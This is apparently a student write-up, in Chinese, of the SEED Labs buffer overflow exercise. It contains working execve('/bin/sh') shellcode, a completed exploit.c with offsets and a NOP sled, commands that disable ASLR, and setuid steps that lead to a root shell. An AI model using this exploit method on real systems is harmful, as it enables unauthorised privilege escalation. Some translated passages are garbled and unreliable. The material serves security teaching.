Buffer Overflow Attack
緩沖區溢出定義為程序嘗試將數據寫入超出預分配的固定長度緩沖區邊界的情況。惡意用戶可以利用此漏洞來更改程序的流控制,甚至執行任意代碼段。這個漏洞是由於數據存儲(例如緩沖區)和控件存儲(例如返回地址)的混合而產生的:數據部分的溢出會影響程序的控制流,因為溢出會改變返回地址。
在本實驗中,你將獲得一個存在緩沖區溢出漏洞的程序;他們的任務是開發一種利用漏洞的方案,並最終獲得root權限。除了攻擊之外,還將指導學生了解 Fedora 中已實施的幾種保護方案,以應對緩沖區溢出攻擊。還需要評估這些計划是否有效並解釋原因。
本文作者:對酒當歌、邊城
Lec
1、解釋gcc參數-fno-stack-protector的含義,gcc的參數里面與stack overflow相關的還有哪些?
-fno-stack-protector
此選項關閉了一個稱為 StackGuard 的保護機 制,它能夠抵御基於棧的緩沖區溢出攻擊。它的主要思想是在代碼中 添加一些數據和檢測機制,從而可以檢測到緩存區溢出的發生。
與之有關的參數還有
-fstack-protector
:啟用堆棧保護,不過只為局部變量中含有 char 數 組的函數插入保護代碼。
-fstack-protector-all
:啟用堆棧保護,為所有函數插入保護代碼
2、閱讀Smashing The Stack For Fun And Profit.
http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html
文章着重介紹了進程的三部分之一:堆棧的被攻擊的方式。解釋了緩沖區溢出是什么,以及如何它們的漏洞進行攻擊。由於C沒有任何內置邊界檢查,溢出通常表現為寫入字符數組的末尾。標准C庫提供了許多用於復制或附加字符串的函數,這些函數不執行邊界檢查,包括:strcat(),strcpy(),sprintf()和vsprintf()
。
緩沖區溢出允許我們更改函數的返回地址。通過這種方式,我們可以改變程序的執行流程。
在大多數情況下,我們希望程序進入一個rootshell。然后,我們可以根據需要發出其他命令。在我們試圖利用的程序中沒有這樣的代碼時,我們可以將代碼置於溢出的緩沖區中執行,並覆蓋返回地址,使其返回緩沖區。這也是我們在上面第一題中關閉檢測“棧溢出”的機制的原因。
3、閱讀下面兩篇文章的同時,熟悉一下gdb基本操作,看匯編設斷點查看內存之類的基本操作了解一點。
http://seanmurphree.com/blog/?p=157
主要講的是C ++中的緩沖區/堆溢出。setAnnotation存在着一定的安全漏洞。此函數使用memcpy函數將從“a”指向的內存位置開始的字節寫入以“annotation”開頭的內存位置。它還使用字符串“a”的長度作為要寫入的字節數。雖然strlen是用來提供許多字節復制的,但是它應該受到“annotation”長度的限制,而不僅僅是“a”。這就導致我們可以控制一個值,然后控制它的長度,我們可以溢出注釋緩沖區,並導致對堆的更改。
https://tomasuh.github.io/2015/01/19/IO-Wargame.html Level 3部分
展示了一個堆棧漏洞,使得可以將任意數量的數據寫入輸入緩沖區。將地址設為名為bad的函數,再使用名為good的函數的地址將其覆蓋。
4、認真觀看,一共3部分
緩沖區溢出漏洞實驗詳解 Kevin Du
https://www.bilibili.com/video/av26297464 大概說下視頻的內容。
一個 foo()函數中的局部數據 buffer 擁有 12 字節的內存。Foo ()函數使用 strcpy()函數從 str 復制字符串到 buffer 數組時,由 於原字符串長於 12 字節,strcpy()函數將覆蓋 buffer 區域意外的部 分內存這就是所謂的緩存區溢出。
如果 buffer 數組之上的區域包含一些關鍵數據,如函數返回地址 (返回地址決定了函數返回是程序會跳轉至何處執行)。如果緩沖區 溢出修改了返回地址,當函數返回時,它將跳轉到一個新的地址,這 可能導致多種情況發生。情況一,這個新地址並沒有映射到任何物理 地址,那么跳轉失敗程序崩潰。情況二,新地址可能映射到了受保護的空間,那么跳轉仍會失敗,程序崩潰。情況三,新地址可能映射到 某個物理地址,該地址中的數據不是有效的機器指令,跳轉還是會失 敗,程序崩潰。情況四,新地址存放的恰好是有效的機器指令,程序 會繼續運行,但程序邏輯將會徹底改變。
緩存區溢出可能導致程序崩潰或者執行其他代碼。攻擊者能夠讓 一個目標程序運行他們的代碼時,他們就能夠劫持該程序的執行流 程。如果該程序一某種特權運行,那就意味着攻擊者將獲得額外的權 限。
5、詳細解釋一下什么是ASLR,以及Linux和Windows下實現有什么區別。
ASLR 意思是地址空間配置隨機加載(英語:Address space layout randomization,縮寫ASLR,又稱地址空間配置隨機化、地址空間布局隨機化)是一種防范內存損壞漏洞被利用的計算機安全技術。
ASLR 對程序內存中的一些關鍵數據區域進行隨機化,包括棧的位置、堆和庫的位置等,目的是讓攻擊者難以猜測到所注入的惡 意代碼在內存中的具體位置。
在 Windows 平台,ASLR 不會影響運行時的性能,只是會拖慢模 塊加載的速度。通常情況下,ASLR 不會影響性能,在某些運行 32 位 系統的場景中甚至會有一些性能提高。但是在運行比較慢的系統中, 當有很多圖片需要加載到隨機地址時,可能會產生卡頓現象。因為要 考慮圖像的數據和大小等因素,我們很難量化 ASLR 對性能的影響。 但是其對堆或棧隨機化的性能影響可以說是微乎其微的。
在 Linux 平台,ASLR 會給系統帶來性能損耗,這種損耗在 x86 架構上尤其大,也最容易被感知。
在 Windows 上,代碼在運行時因重定位才被 patch。但在 Linux 與 Unix 的世界,該技術被稱為 text 重定位。在 Linux 上,ASLR 用不 同的方式實現,除了在代碼運行時 patch,其在編譯時就用某種方式 使其地址無關。也就是說,可以將其加載到內存地址的任意位置,都可以正常運行。
Lab
https://github.com/SKPrimin/HomeWork/tree/main/SEEDLabs/Buffer_Overflow
初始設置
地址空間隨機化。您可以使用預配置的Ubuntu機器 執行實驗室任務。由於Ubuntu
和其他幾個基於 Linux 的系統使用地址空間隨機化來隨機化堆和堆棧的起始地址,這將難以猜測確切地址;而猜測地址正是緩沖區溢出攻擊的關鍵步驟之一。在本實驗中,我們使用以下命令禁用這些功能:
$ su root
Password: seedubuntu(enter root password)
# sysctl -w kernel.randomize_va_space=0
堆棧防護方案。 GCC編譯器實現了一種稱為“堆棧保護”的安全機制,以防止緩沖區溢出。 在存在此保護時,緩沖區溢出將無法正常工作。 如果使用-fno-stack-protector
編譯程序,則可以禁用此保護。 例如,要使用堆疊防護禁用編譯程序示例,您可以使用以下命令:
gcc -fno-stack-protector example.c
不可執行的堆棧。 Ubuntu用於允許可執行堆棧,但現在已更改:程序的二進制圖像(和共享庫)必須聲明它們是否需要可執行堆棧,即,它們需要在程序標題中標記一個字段。 內核或動態鏈接器使用此標記來決定是否使該運行程序的堆棧可執行或不可執行。 此標記由最近的GCC版本自動完成,默認情況下,堆棧設置為不可執行。 要更改此,請在編譯程序時使用以下選項:
For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
Shellcode
在開始攻擊之前,您需要一個 shellcode。shellcode 是啟動 shell 的代碼。它必須被加載到內存中,以便我們可以強制易受攻擊的程序跳轉到它。思考以下程序:
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0;
execve(name[0], name, 0);
}
我們使用的shellcode只是上述程序的匯編版本。以下程序向您展示如何通過執行存儲在緩沖區中的 shellcode 來啟動 shell。請編譯運行以下代碼,看看是否調用了shell。(如果你很勇,請查閱在線 Intel x86 手冊以了解每條指令。)
/* call_shellcode.c */
/* 創建包含啟動shell代碼的文件的程序 */
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */ %eax = 0 (avoid 0 in code)
"\x50" /* pushl %eax */ set end of string“/bin/sh"
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */ set %ebx
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */ set %ecx
"\x99" /* cdq */ set %edx
"\xb0\x0b" /* movb $0x0b,%al */ set %eax
"\xcd\x80" /* int $0x80 */ invoke execve ()
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void (*)())buf)();
}
請使用以下命令編譯代碼(不要忘記execstack選項):
gcc -z execstack -o call_shellcode call_shellcode.c
這個 shellcode 中有幾個地方值得一提。
首先,第三條指令將“
//sh
”而不是“/sh
”壓入堆棧。這是因為我們這里需要一個 32 位的數字,而“/sh
”只有 24 位。幸好,“//
”等價於“/
”,所以我們可以不用雙斜線符號。其次,在調用
execve()
系統調用之前,我們需要分別將name[0]
(字符串的地址)、name
(數組的地址)和NULL
存儲到%ebx
、%ecx
和%edx
寄存器中 。第 5 行將
name[0]
存儲到%ebx
;第 8行將
名稱
存儲到%ecx
;第 9
行將 %edx
設置為零。還有其他方法可以將
%edx
設置為零(例如xorl %edx, %edx
);此處使用的(cdql
)只是一條較短的指令。最后,系統調用
execve()
在我們設置%al
為 11 時被調用,並執行“int $0x80
”。
The Vulnerable Program
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
編譯上述漏洞程序並使其設置為root-uid。 您可以通過在root時編譯它來實現這一目標,然后chmod可執行文件至4755(別忘了用execstack和-fno-stack-protector參數關閉不可執行的堆棧和stackguard保護):
su root
Password :seedubuntu
gcc -o stack -fno-stack-protector stack.c
chmod 4755 stack
exit
上述程序存在緩沖區溢出漏洞。它首先從名為“badfile
”的文件中讀取輸入,然后將此輸入傳遞到函數bof()
中的另一個緩沖區。原始輸入的最大長度為 517 字節,但bof()
中的緩沖區只有 12 字節長。因為strcpy()
不檢查邊界,會發生緩沖區溢出。由於這個程序是一個set-root-uid程序,如果普通用戶可以利用這個緩沖區溢出漏洞,普通用戶可能能夠得到一個root shell。應該注意的是,程序從一個名為“badfile”的文件中獲取輸入。此文件受用戶控制。現在,我們的目標是為“badfile”創建內容,這樣當易受攻擊的程序將內容復制到其緩沖區中時,就可以生成一個 root shell。
指導方針
我們可以將 shellcode 加載到“badfile”中,但它不會被執行,因為我們的指令指針不會指向它。我們可以做的一件事是將返回地址更改為指向 shellcode。但是我們有兩個問題:(1)我們不知道返回地址存儲在哪里,以及(2)我們不知道shellcode存儲在哪里。要回答這些問題,我們需要了解執行進入函數的堆棧布局。下圖給出了一個例子。
查找存儲返回地址的內存地址。
從圖中我們知道,如果能找出buffer[]
數組的地址,就可以計算出返回地址存放在哪里。由於易受攻擊的程序是一個Set-UID
程序,你可以復制這個程序,並以你自己的權限運行它;這樣您就可以調試程序(請注意,您不能調試Set-UID
程序)。在調試器中,您可以計算出buffer[]
的地址,從而計算出惡意代碼的起點。你甚至可以修改復制的程序,讓程序直接打印出buffer[]
的地址。運行Set-UID時buffer[]
的地址可能會略有不同``副本,而不是您的副本,但您應該非常接近。
如果目標程序是遠程運行的,你可能無法依靠調試器找出地址。然而,你總能 猜到。以下事實使猜測成為一種非常可行的方法:
- 堆棧通常從同一個地址開始。
- 堆棧通常不是很深:大多數程序在任何時候都不會將超過幾百或幾千個字節壓入堆棧。
- 因此,我們需要猜測的地址范圍實際上非常小。
尋找惡意代碼的起點。
如果能准確計算出buffer[]
的地址,就應該能准確計算出惡意代碼的起始點。即使您無法准確計算地址(例如,對於遠程程序),您仍然可以猜測。為了提高成功的機會,我們可以在惡意代碼的開頭添加一些NOP;因此,如果我們可以跳轉到這些 NOP 中的任何一個,我們最終可以找到惡意代碼。下圖描述了攻擊。
在緩沖區中存儲一個長整數:
在您的漏洞利用程序中,您可能需要將一個長
整數(4 個字節)存儲到從 buffer[i] 開始的緩沖區中。由於每個緩沖區空間是一個字節長,因此整數實際上將占用從緩沖區[i] 開始的四個字節(即,緩沖區[i] 到緩沖區[i+3])。因為 buffer 和 long 是不同的類型,所以不能直接將整數賦值給 buffer;相反,您可以將 buffer+i 轉換為長
指針,然后分配整數。以下代碼顯示如何將長
整數分配給從 buffer[i] 開始的緩沖區:
char buffer[20];
long addr = 0xFFEEDD88;
long *ptr = (long *) (buffer + i);
*ptr = addr;
任務1:利用漏洞
編譯賦權
將stack的11行的數組改為buffer[66];
在root狀態下編譯 stack.c 程序(關閉棧保護,打開棧可執行),並賦予 SUID 權限。
之后要關閉地址隨機化
sudo su
gcc -o stack -z execstack -fno-stack-protector stack.c
chmod 4755 stack
sudo sysctl -w kernel.randomize_va_space=0
exit
gdb 調試
用 gdb 調試 stack 程序main函數和bof函數
gdb stack
disas main
可見,bof()
函數的返回地址為 0x080484ff
disas bof
執行完 bof()
后的地址為 0x0804849c
。 q
退出gdb。
標記緩沖區
這有部分完成的漏洞利用代碼
exploit.c
。這段代碼的目標是為“badfile”構造內容。在這段代碼中,shellcode 是給你的。還需要完成其余部分。
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68"
"//sh" /* pushl $0x68732f2f */
"\x68"
"/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
為了找出 buffer 的首地址,以及 bof 函數的返回地址所在地址與其相差的字節數。
我們使用“AAAA”來標記 buffer 的前四個字節
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer, "AAAA");
/* Save the contents to the file "badfile" */
編譯、運行 exploit.c 程序。
gcc exploit.c -o exploit
./exploit
再用 gdb 調試 stack。在 bof 函數結束(0x0804849c)處設置斷點。用 r 命令使其運行到斷點處。
gdb stack
b *0x0804849c
r
再使用命令 x/150xb $esp 來查看內存的內 容。其中,第一個 x 表示顯示內容,150 表示顯示的單元數,第二個 x 表示顯示為十六進制,b 指每個單元顯示一個字節的內容。bof返回地址0x080484ff
x/150xb $esp
可以看出,buffer 的首地址為 0xbffff0ce
,存放 bof 函數返回地址的地址為 0xbffff11c
,故兩者相距 \(0xbffff11c-0xbffff0ce=6+8\times8+4+4=78\)個字節。因此,我們只需要將 bof 函數的返回地址修改為 shellcode 的地址即可,而在此之前的 78 個字節用字符‘A’來填充
寫入badfile
為了增加跳轉到惡意代碼的正確地址的機會,我們可以用NOP指令填充壞文件,並將惡意代碼放置在緩沖區的末尾。
注意:NOP-什么都不做的指令。
![]()
![]()
先獲取78個A
python -c "print 'A'*78"
接下來我們需要計算 shellcode 的地址。從理論上來說 shellcode 的 地址只要大於 buffer 首地址+78+4(返回地址)即可,但是我們求出 來的 buffer 首地址是通過調試手段找到的地址,在 gdb 中運行得到的 buffer 地址可能與直接運行時不同,因為 gdb 開始時往棧中壓入了一 些額外的數據。
所以我們將 shellcode 放在 buffer 首地址+482的位置, 而此前的內容用 nop 填充以提高猜測的成功率。由於我們不知道buffer 是會前移還是后移,所以我們將 shellcode 的入口點設置為中間 的 nop 的地址。該地址為 \(bffff0ce(buffer 首地址)+78(78 個A) +4(新的返回地址)+(482-82)/2(中間的 nop 指令)=bffff1e8\)。 於是 exploit.c 程序改寫為:
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe8\xf1\xff\xbf");
strcpy(buffer+482,shellcode);
獲取權限
完成上述程序后,編譯並運行它。這將生成“badfile”的內容。然后運行易受攻擊的程序
堆棧
。如果你的漏洞利用被正確實現,你應該能夠獲得一個 root shell:
重點:請先編譯您的易受攻擊的程序。請注意,生成壞文件的程序exploit.c 可以在啟用默認堆棧防護保護的情況下進行編譯。這是因為我們不會在這個程序中溢出緩沖區。我們將溢出 stack.c 中的緩沖區,該緩沖區在編譯時啟用了默認的 Stack Guard 保護。
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
重新編譯運行 exploit.c 程序,再運行 stack。
gcc -o exploit exploit.c
./exploit
./stack
獲得了 root shell。
需要注意的是,雖然你得到了“#”提示符,但你的真實用戶id仍然是你自己(有效用戶id現在是root)。您可以通過鍵入以下內容進行檢查:
# id
uid=(500) euid=0(root)
如果許多命令作為
Set-UID
root
進程而不是僅僅作為root
進程執行,它們的行為會有所不同,因為它們識別出真正的用戶 id 不是root
。要解決這個問題,您可以運行以下程序將真實用戶 id 變為root
。這樣,您將擁有一個真正的root
進程,它更強大。
/* attack.c*/
void main()
{
setuid(0);
system("/bin/sh");
}
先退出root吧,編譯attack.c
exit
gcc attack.c -o attack
./attack
id
此時 uid 變成了 root,實驗成功。
任務 2:地址隨機化
現在,我們打開 Ubuntu 的地址隨機化。我們運行在任務 1 中開發的相同攻擊。你能得到一個 shell 嗎?如果不是,問題是什么?地址隨機化如何使您的攻擊變得困難?你應該在你的實驗報告中描述你的觀察和解釋。您可以使用以下說明打開地址隨機化:
$ su root
Password: seedubuntu(enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
如果運行易受攻擊的代碼一次無法獲得 root shell,那么運行多次如何?您可以在以下循環中運行
./stack
,看看會發生什么。如果您的漏洞利用程序設計正確,您應該能夠在一段時間后獲得 root shell。您可以修改您的漏洞利用程序以增加成功的可能性(即,減少您必須等待的時間)。$ sh -c "while [ 1 ]; do ./stack; done;"
使用循環多次執行攻擊:通過在無限循環中運行代碼來攻破它。
sh -c "while [ 1 ]; do ./stack; done;"
對酒當歌:執行了 20 分鍾,依然沒有成功。
邊城:地址隨機化后,攻擊難度大大增加,循環一個小時左右才獲取root權限。
任務3:堆棧守衛
Stack Guard
在處理此任務之前,請記住首先關閉地址隨機化。
在我們以前的任務中,我們在編譯程序時禁用了GCC中的“Stack Guard”保護機制。 在此任務中,您可以考慮在存在堆棧保護時重復任務1。 為此,您應該在沒有-fno-stack-protector'選項的情況下編譯程序。 對於此任務,您將重新編譯易受攻擊的程序,堆棧CCC堆棧保護,再次執行任務1。
gcc -o stack -z execstack stack.c
隨后切換回seed用戶
可見由於棧保護機制,攻擊失敗
任務4:非可執行堆棧
Non-executable Stack
在處理此任務之前,請記住首先關閉地址隨機化。
NX位,代表CPU中的No-eXecute特性,它將代碼與標記為非可執行的內存區域的數據分開。可以使用一種稱為Return-to-libc攻擊的不同技術來擊敗這種保護
在我們以前的任務中,我們故意使堆棧可執行。 在這項任務中,我們使用省尾施選項重新編譯我們的易受攻擊的程序,並在任務中重復攻擊1.您能得到一個shell嗎? 如果沒有,問題是什么? 這種保護方案如何使您的攻擊困難。 您應該在實驗室報告中描述您的觀察和解釋。 您可以使用以下說明打開不可執行的堆棧保護。
gcc -o stack -fno-stack-protector -z noexecstack stack.c
由於棧不可執行,攻擊失敗